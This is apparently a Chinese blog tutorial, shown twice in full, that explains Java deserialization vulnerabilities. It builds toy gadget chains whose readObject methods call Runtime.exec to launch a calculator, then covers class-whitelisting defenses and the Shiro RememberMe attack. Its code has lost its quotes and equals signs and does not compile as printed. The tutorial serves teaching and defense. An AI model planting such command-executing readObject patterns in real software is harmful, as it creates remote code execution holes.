从零构建Java反序列化漏洞手写简易版Gadget链当你第一次听说Java反序列化漏洞时是否对那些神奇的Gadget链感到困惑为什么简单的对象反序列化就能触发命令执行本文将带你从最基础的Java序列化机制开始逐步构建一个能弹出计算器的简易漏洞链。不同于直接使用ysoserial工具我们会从创造者的角度用不到200行代码还原漏洞本质。适合已经掌握Java基础语法想深入理解安全原理的开发者。1. Java序列化机制基础Java序列化就像把一个对象拍扁成字节流而反序列化则是将这些字节还原成活的对象。这个机制在日常开发中常用于网络传输或持久化存储。让我们先看一个最简单的可序列化类import java.io.Serializable; public class Person implements Serializable { private String name; public Person(String name) { this.name name; } // 标准的getter/setter省略... }要使类可序列化只需实现Serializable标记接口。序列化和反序列化的基本操作如下// 序列化 Person alice new Person(Alice); ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(data.bin)); oos.writeObject(alice); oos.close(); // 反序列化 ObjectInputStream ois new ObjectInputStream(new FileInputStream(data.bin)); Person person (Person) ois.readObject(); ois.close();关键点当对象被反序列化时JVM会调用该类的readObject()方法。如果类中没有自定义这个方法就会使用默认实现。但如果我们重写它...2. 危险的readObject重写让我们修改Person类加入自定义的readObject方法private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); // 先调用默认反序列化 System.out.println([!] 反序列化触发: this.name); }现在当我们反序列化这个对象时控制台会打印出警告信息。这本身无害但设想如果这里的代码不是打印日志而是执行系统命令...3. 构造第一条Gadget链真正的漏洞利用需要将多个类的操作链式组合起来。让我们创建一个包含Runtime.exec的简单链public class ExploitObject implements Serializable { private String command; public ExploitObject(String cmd) { this.command cmd; } private void readObject(ObjectInputStream ois) throws Exception { ois.defaultReadObject(); Runtime.getRuntime().exec(this.command); } }测试这个漏洞链// 生成恶意序列化数据 ExploitObject exploit new ExploitObject(calc); ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(exploit.bin)); oos.writeObject(exploit); oos.close(); // 受害者反序列化 ObjectInputStream ois new ObjectInputStream(new FileInputStream(exploit.bin)); ois.readObject(); // 计算器弹出这已经是一个完整的漏洞利用但现实中很少有这么直接的案例。更常见的是通过多个类的组合间接触发命令执行。4. 多级Gadget链构造让我们构建一个更接近真实场景的两级调用链。首先定义两个类public class Gadget1 implements Serializable { private Runnable action; public void setAction(Runnable action) { this.action action; } private void readObject(ObjectInputStream ois) throws Exception { ois.defaultReadObject(); this.action.run(); // 关键点反序列化时自动执行 } } public class Gadget2 implements Serializable, Runnable { private String command; public Gadget2(String cmd) { this.command cmd; } Override public void run() { try { Runtime.getRuntime().exec(this.command); } catch (IOException e) { e.printStackTrace(); } } }利用链的组装方式Gadget2 g2 new Gadget2(calc); Gadget1 g1 new Gadget1(); g1.setAction(g2); // 序列化 ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(gadget.bin)); oos.writeObject(g1); oos.close(); // 反序列化触发 ObjectInputStream ois new ObjectInputStream(new FileInputStream(gadget.bin)); ois.readObject(); // 依然弹出计算器这种间接调用模式正是ysoserial中各种payload的核心思路。通过精心设计的对象关系让反序列化过程像多米诺骨牌一样触发一连串操作。5. 防御措施与最佳实践理解了攻击原理后我们才能更好地防御。以下是几种常见防护方案白名单验证public class SafeObjectInputStream extends ObjectInputStream { private static final SetString ALLOWED_CLASSES Set.of(java.lang.String, com.example.SafeClass); protected SafeObjectInputStream(InputStream in) throws IOException { super(in); } protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!ALLOWED_CLASSES.contains(desc.getName())) { throw new InvalidClassException(Unauthorized deserialization attempt); } return super.resolveClass(desc); } }其他防御手段使用第三方安全库如Apache Commons IO的ValidatingObjectInputStream对序列化数据添加数字签名完全禁用不受信任源的序列化功能6. 从原理看真实漏洞理解了基础原理后再看Shiro等框架的反序列化漏洞就更容易理解了。以Shiro RememberMe为例攻击者构造恶意序列化对象使用已知AES密钥加密后作为Cookie发送Shiro解密后自动反序列化触发漏洞整个过程与我们手写的Demo本质相同只是多了加密层和框架自动处理的环节。
从“Hello World”到漏洞利用:用Java写一个自己的简易版ysoserial(理解Gadget链)
发布时间:2026/6/7 4:38:11
从零构建Java反序列化漏洞手写简易版Gadget链当你第一次听说Java反序列化漏洞时是否对那些神奇的Gadget链感到困惑为什么简单的对象反序列化就能触发命令执行本文将带你从最基础的Java序列化机制开始逐步构建一个能弹出计算器的简易漏洞链。不同于直接使用ysoserial工具我们会从创造者的角度用不到200行代码还原漏洞本质。适合已经掌握Java基础语法想深入理解安全原理的开发者。1. Java序列化机制基础Java序列化就像把一个对象拍扁成字节流而反序列化则是将这些字节还原成活的对象。这个机制在日常开发中常用于网络传输或持久化存储。让我们先看一个最简单的可序列化类import java.io.Serializable; public class Person implements Serializable { private String name; public Person(String name) { this.name name; } // 标准的getter/setter省略... }要使类可序列化只需实现Serializable标记接口。序列化和反序列化的基本操作如下// 序列化 Person alice new Person(Alice); ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(data.bin)); oos.writeObject(alice); oos.close(); // 反序列化 ObjectInputStream ois new ObjectInputStream(new FileInputStream(data.bin)); Person person (Person) ois.readObject(); ois.close();关键点当对象被反序列化时JVM会调用该类的readObject()方法。如果类中没有自定义这个方法就会使用默认实现。但如果我们重写它...2. 危险的readObject重写让我们修改Person类加入自定义的readObject方法private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); // 先调用默认反序列化 System.out.println([!] 反序列化触发: this.name); }现在当我们反序列化这个对象时控制台会打印出警告信息。这本身无害但设想如果这里的代码不是打印日志而是执行系统命令...3. 构造第一条Gadget链真正的漏洞利用需要将多个类的操作链式组合起来。让我们创建一个包含Runtime.exec的简单链public class ExploitObject implements Serializable { private String command; public ExploitObject(String cmd) { this.command cmd; } private void readObject(ObjectInputStream ois) throws Exception { ois.defaultReadObject(); Runtime.getRuntime().exec(this.command); } }测试这个漏洞链// 生成恶意序列化数据 ExploitObject exploit new ExploitObject(calc); ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(exploit.bin)); oos.writeObject(exploit); oos.close(); // 受害者反序列化 ObjectInputStream ois new ObjectInputStream(new FileInputStream(exploit.bin)); ois.readObject(); // 计算器弹出这已经是一个完整的漏洞利用但现实中很少有这么直接的案例。更常见的是通过多个类的组合间接触发命令执行。4. 多级Gadget链构造让我们构建一个更接近真实场景的两级调用链。首先定义两个类public class Gadget1 implements Serializable { private Runnable action; public void setAction(Runnable action) { this.action action; } private void readObject(ObjectInputStream ois) throws Exception { ois.defaultReadObject(); this.action.run(); // 关键点反序列化时自动执行 } } public class Gadget2 implements Serializable, Runnable { private String command; public Gadget2(String cmd) { this.command cmd; } Override public void run() { try { Runtime.getRuntime().exec(this.command); } catch (IOException e) { e.printStackTrace(); } } }利用链的组装方式Gadget2 g2 new Gadget2(calc); Gadget1 g1 new Gadget1(); g1.setAction(g2); // 序列化 ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(gadget.bin)); oos.writeObject(g1); oos.close(); // 反序列化触发 ObjectInputStream ois new ObjectInputStream(new FileInputStream(gadget.bin)); ois.readObject(); // 依然弹出计算器这种间接调用模式正是ysoserial中各种payload的核心思路。通过精心设计的对象关系让反序列化过程像多米诺骨牌一样触发一连串操作。5. 防御措施与最佳实践理解了攻击原理后我们才能更好地防御。以下是几种常见防护方案白名单验证public class SafeObjectInputStream extends ObjectInputStream { private static final SetString ALLOWED_CLASSES Set.of(java.lang.String, com.example.SafeClass); protected SafeObjectInputStream(InputStream in) throws IOException { super(in); } protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!ALLOWED_CLASSES.contains(desc.getName())) { throw new InvalidClassException(Unauthorized deserialization attempt); } return super.resolveClass(desc); } }其他防御手段使用第三方安全库如Apache Commons IO的ValidatingObjectInputStream对序列化数据添加数字签名完全禁用不受信任源的序列化功能6. 从原理看真实漏洞理解了基础原理后再看Shiro等框架的反序列化漏洞就更容易理解了。以Shiro RememberMe为例攻击者构造恶意序列化对象使用已知AES密钥加密后作为Cookie发送Shiro解密后自动反序列化触发漏洞整个过程与我们手写的Demo本质相同只是多了加密层和框架自动处理的环节。